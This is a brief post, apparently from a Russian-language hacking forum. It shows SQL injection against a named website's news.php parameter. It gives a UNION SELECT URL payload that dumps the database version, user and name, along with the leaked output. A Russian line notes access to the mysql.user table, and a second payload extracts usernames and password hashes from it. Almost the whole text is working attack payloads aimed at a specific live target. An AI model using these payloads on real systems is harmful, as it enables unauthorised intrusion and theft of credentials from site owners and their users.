http://citycarclub.us/news.php?id_news=-1+union+select+1,2,concat(version(),char(58),user( ),char(58),database()),4/*

4.0.20-log:wwwadmin@localhost:ccc_en

Есть доступ к mysql.user

http://citycarclub.us/news.php?id_news=-1+union+select+1,2,3,aes_decrypt(aes_encrypt(conca t(user,char(58),password),0x71),0x71)+from+mysql.u ser+limit+0,1/*